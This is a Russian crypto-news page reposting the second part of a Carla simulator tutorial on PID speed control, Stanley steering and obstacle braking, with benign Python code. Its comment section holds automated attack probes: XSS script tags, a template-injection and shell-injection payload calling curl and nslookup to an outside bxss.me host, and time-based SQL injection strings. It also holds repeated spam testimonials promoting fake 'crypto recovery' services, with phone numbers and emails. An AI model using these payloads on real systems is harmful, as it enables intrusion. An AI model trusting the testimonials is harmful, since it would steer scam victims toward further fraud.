Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

  1. Главная
  2. Новости

Hello self driving world! (Carla Simulator) — часть 2

fd483526b4665264e0150353b0ba7629.png

Всем привет! Продолжаем наш путь в захватывающий мир беспилотных технологий. В первой части статьи мы познакомились с симулятором Carla, создали собственный беспилотный автомобиль и научили его ехать прямо.

Во второй части мы займемся улучшением плавности хода при помощи PID-контроллера, освоим алгоритм Stanley для точного управления рулём и научим машину реагировать на внезапные препятствия. Готовы погрузиться глубже и сделать ваш виртуальный беспилотный автомобиль ещё умнее и безопаснее? Тогда пристёгивайтесь и поехали!

PID регулятор скорости

Код на Github
Команда запуска: python -m sd_5

В первой части статьи мы научили наш автомобиль поддерживать скорость путем постоянного ускорения и торможения. Чтобы улучшить плавность движения, давайте реализуем PID-регулятор скорости.

PID-регулятор является одним из наиболее распространенных автоматических регуляторов. Он нужен, чтобы автоматически и плавно удерживать нужную величину (например, скорость автомобиля) без резких колебаний. Состоит из трёх составляющих:

  • Пропорциональная (P) - Влияет на текущую «ошибку» — разницу между фактической и целевой скоростью. Чем больше ошибка, тем сильнее «газ» или «тормоз».

  • Интегральная (I) - Учитывает накопленную ошибку за всё время работы. Если постоянно не хватает скорости, интегральная часть постепенно увеличивает нажатие педали газа, чтобы устранить постоянное отставание.

  • Дифференциальная (D) - Отслеживает, как быстро меняется ошибка. Помогает сгладить резкие скачки управления и предотвратить «перерегулирование». Благодаря ей управление становится более плавным: вместо рывка «газ–тормоз–газ» машина аккуратно подстраивается под изменение ошибки.

Каждая из этих трёх составляющих умножается на свой коэффициент (Kp, Ki, Kd), а их сумма дает итоговый управляющий сигнал. Таким образом PID‑регулятор автоматически добавляет или убавляет «газ» и «тормоз» так, чтобы машина точно держала заданную скорость и при этом не «рывком» переходила от одного значения к другому.

Реализуем это в коде.
Пропорциональная часть на основе разницы текущей и целевой скорости:

# Рассчитываем ошибку
error = v_desired - v_current

# Пропорциональная часть
proportional = self.kp * error

Интегральная часть накапливает ошибку за промежуток времени. Она суммирует предыдущие накопленные ошибки и текущую ошибку, умноженную на время, прошедшее с предыдущего измерения (delta_t). Эта составляющая помогает устранить постоянные отклонения от заданной скорости: 

# Интегральная часть 
self._integral = self._integral + error * delta_t
integral = self.ki * self._integral

Дифференциальная часть рассчитывается как разность текущей и предыдущей ошибки, деленная на время между измерениями (delta_t). Эта составляющая реагирует на резкие изменения состояния системы и позволяет стабилизировать процесс управления: 

# Дифференциальная часть
derivative = self.kd * (error - self._previous_error) / delta_t

Суммируем полученные значения и преобразуем их в управляющие сигналы: 

u = proportional + integral + derivative

if u >= 0:
    control.throttle = min(u, 1.0)
    control.brake = 0.0
else:
    control.throttle = 0.0
    control.brake = min(abs(u), 1.0)

Запустим и проверим результат:
python -m sd_5

cb0c5ffaac679e2a6582fee29e85731b.pngWaypoint Following with PID Speed Control

Движение автомобиля стало гораздо более плавным и стабильным. Перейдем к следующей части — управлению рулем.

Контроль поворота руля (Stanley)

Код на Github
Команда запуска: python -m sd_6

После того как мы научились двигаться прямо и поддерживать заданную скорость, перейдем к следующему важному шагу — повороту руля. Для начала обновим наши путевые точки (waypoints). Теперь наша задача состоит в том, чтобы проехать траекторию, напоминающую по форме букву "П".

6da69395dc7c8e8c2da5a58541e7b87f.png

Для вычисления угла поворота руля нам понадобится латеральный контроллер (он же поперечный контроллер). Это алгоритм, который автоматически компенсирует отклонение автомобиля от заданной траектории. Для это используются две точки:

  1. Целевая путевая точка — это следующая точка маршрута, к которой автомобиль стремится.

  2. Предыдущая путевая точка — это точка, через которую автомобиль уже проехал непосредственно перед целевой.

По этим двум точкам строится воображаемая прямая (идеальная траектория).

Метод Stanley

Мы применяем алгоритм Stanley, разработанный командой DARPA Grand Challenge (Стэнфордский университет). Он рассчитывает два компонента рулевого управления:

  1. Угол ошибки по направлению (heading error) — разница между курсом идеальной траектории и текущим курсом автомобиля.

  2. Поперечная ошибка (cross-track error) — боковое смещение автомобиля от идеальной линии.

Сумма этих двух углов даёт итоговый угол поворота руля, который минимизирует отклонение и выводит машину обратно на маршрут.

32822a8ccb07d7f0447e2db21a6e1258.png

Сначала вычислим разницу угла между идеальной траекторией и текущим углом автомобиля. Угол траектории рассчитывается по координатам текущей целевой и предыдущей точек:

# Угол сегмента пути
yaw_path = np.arctan2(wp_target[1] - wp_prev[1], wp_target[0] - wp_prev[0])

# Ошибка по курсу
yaw_diff = yaw_path - vehicle_yaw_rad

Затем определим расстояние от текущего положения автомобиля до траектории движения. Для этого воспользуемся уравнением прямой, проходящей через две точки (целевую и предыдущую).

diff_x = target_x - previous_x
diff_y = target_y - previous_y
if diff_x == 0:
    diff_x = 0.1
slope = diff_y / diff_x
correction = previous_y - slope * previous_x

# Переводим уравнение в форму ax + by + c = 0
a = -slope
b = 1.0
c = correction

Теперь вычислим поперечную ошибку (Cross-Track Error или CTE), которая показывает расстояние от текущего положения до заданной траектории: 

# Расчет поперечной ошибки
if abs(diff_x) < 1e-6:
    # Вертикальная линия: ошибка по X
    crosstrack_error = vehicle_location.x - wp_prev[0]
else:
    slope = diff_y / diff_x
    a = -slope
    b = 1.0
    c = (slope * wp_prev[0]) - wp_prev[1]

crosstrack_error = (a * vehicle_location.x + b * vehicle_location.y + c) / np.sqrt(a ** 2 + b ** 2)

Затем мы скорректируем угол поворота руля с учетом поперечного отклонения и текущей скорости автомобиля по формуле Stanley: 

yaw_diff_crosstrack = np.arctan(k * crosstrack_error / v)

# Итоговый угол поворота руля
steer_expect = yaw_diff + yaw_diff_crosstrack

Создадим более сложный маршрут с поворотами и разворотами. На графике сверху отобразим запланированную траекторию (синим цветом) и фактический маршрут автомобиля (красным). Запустим и проверим результат:

85d9639cbc2533a2c2e192e44ee76e5b.png1748d9c61b11830bdca8ece771959d5c.pngWaypoint Following with PID Speed, Stanley Steering

Отлично! Наш беспилотник научился ездить четко "по рельсам", придерживаясь заданной скорости и траектории.

Кратко: модуль Control отвечает за реализацию движения по заданным waypoints. Он получает текущее состояние машины (Localization) и путевые точки (Planning), а на выходе формирует управляющие команды для автомобиля (steer, throttle, brake).

В следующей части мы разработаем систему автоматического торможения перед препятствиями.

Perception — распознавание объектов вокруг

Код на Github
Команда запуска: python -m sd_7

Наш беспилотник пока движется «вслепую»: он не знает о карте, расположении домов, дорог и препятствий. Единственное, что ему известно, — это текущие координаты и запланированная траектория. Если на его пути вдруг появится автомобиль или пешеход, произойдет ДТП.

Для предотвращения таких ситуаций используется perception — система восприятия окружающей среды. Обычно беспилотник оснащается тремя основными типами сенсоров:

  • Лидар — основной сенсор беспилотника. Это лазерный дальномер, создающий подробную 3D-карту окружающего пространства в радиусе до 100 метров. Лидар распознает объекты, их форму, размер и расстояние до них. Если вам интересно подробнее узнать, как запустить лидар в Carla и визуализировать полученные данные, рекомендую почитать здесь: https://earnold.me/post/mayavilidar/

  • Радар — использует радиоволны для определения расстояния до объектов, их скорости и траектории. Радар постоянно посылает импульсы, которые отражаются от препятствий и позволяют машине оперативно реагировать на изменения на дороге.

  • Камеры — необходимы для распознавания сигналов светофоров, дорожных знаков и разметки.

Интеграция этих датчиков и обучение моделей распознавания объектов — сложный и длительный процесс. Однако симулятор Carla предоставляет удобный виртуальный датчик препятствий, объединяющий функционал всех сенсоров.

obstacle_detected_state = False

obs_bp_library = world.get_blueprint_library()
obs_bp = obs_bp_library.find('sensor.other.obstacle')
obs_bp.set_attribute("distance", "15")        # расстояние обнаружения (метры)
obs_bp.set_attribute("sensor_tick", "0.1")    # частота проверки (секунды)

obstacle_sensor = world.spawn_actor(obs_bp, sensor_transform, attach_to=vehicle)

# Настраиваем обработку событий:
obstacle_sensor.listen(obstacle_callback):
    obstacle_detected_state = True

# В случае обнаружения препятствия максимально быстро тормозим:
if obstacle_detected_state:
    print("  -> Obstacle detected! OVERRIDING control: EMERGENCY BRAKE")
    control.throttle = 0.0
    control.brake = 1.0 # Полное торможение

#Добавим машину-препятствие на дорогу:
obstacle_bp = world.get_blueprint_library().find('vehicle.audi.tt')
obstacle_bp.set_attribute('role_name', 'obstacle') 
obstacle_location = carla.Location(x=10.0, y=24.5, z=0.1)
obstacle_transform = carla.Transform(obstacle_location, carla.Rotation(yaw=0)) 
obstacle_vehicle = world.try_spawn_actor(obstacle_bp, obstacle_transform)

Проверим работу:
python -m sd_7

94bc17144041280e81c44176d908536b.pngWaypoint Following with Obstacle Avoidance

Теперь наш беспилотник успешно останавливается перед препятствиями!

Однако что произойдет, если пешеход неожиданно выйдет перед машиной? Чтобы избежать таких ситуаций, в реальные беспилотники устанавливают дополнительный модуль Prediction.

Кратко: модуль Perception отвечает за распознавание объектов вокруг автомобиля. На вход поступают данные от сенсоров и текущее состояние машины (Localization). На выходе формируется информация о распознанных объектах (тип, размеры, скорость, ускорение и направление движения).

Prediction – предсказываем движение других объектов

В нашем виртуальном мире пока нет движущихся объектов, кроме самого автомобиля. Однако в реальной жизни ситуация гораздо сложнее — вокруг машины постоянно движутся другие автомобили, пешеходы и различные объекты. Чтобы успешно избегать столкновений, беспилотнику необходимо уметь предсказывать, как будут вести себя окружающие объекты. Для этого используются два основных подхода: алгоритмический и машинное обучение.

Алгоритмический подход основан на текущем состоянии объектов. Если мы знаем скорость и направление движения другой машины или пешехода, то можем вычислить, пересекутся ли наши траектории, и заранее принять меры для предотвращения столкновения.

Модели машинного обучения, напротив, обучаются на огромных наборах данных из миллионов реальных ситуаций на дорогах. Такие модели способны предсказывать неожиданные маневры других участников дорожного движения — например, резкие торможения или неожиданные повороты. Успех этого метода зависит от объема данных и качества применяемых алгоритмов.

В рамках статьи мы не будем реализовать свой модуль Prediction, так как это потребовало бы еще 2-3 статьи. Если вам интересно, вы можете ознакомиться с реализацией модуля prediction в проекте pylot (раздел prediction) или попробовать построить модель самому

Кратко: Prediction отвечает за прогнозирование будущего поведения окружающих объектов. На входе он получает данные о распознанных объектах (Perception) и текущее состояние автомобиля (Localization). На выходе формируется информация о возможных маршрутах и поведении объектов.

Общая схема работы модулей

cb74acc72218bb3b3efbfa286f06fb45.pngЕще несколько схем работы беспилотного автомобиля
c68926217401044e59bc7a3b9f48888e.png567af293afdbec980492af7427872564.png

Заключение

На этом наша статья подходит к концу. Если вы хотите продолжить погружение в мир беспилотных автомобилей и автономных технологий, рекомендую пройти соответствующие курсы на платформах Coursera или Udacity.

А если однажды вам на дороге встретится беспилотный автомобиль — помните, что он внимательно следит за вами с помощью своих сенсоров (Perception) и пытается предугадать ваши действия (Prediction). Он всегда знает, где находится (Localization), заранее планирует безопасный путь (Planning) и движется по маршруту (Control). Так что не стесняйтесь, улыбнитесь и помашите рукой — камеры и лидары обязательно это заметят!

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

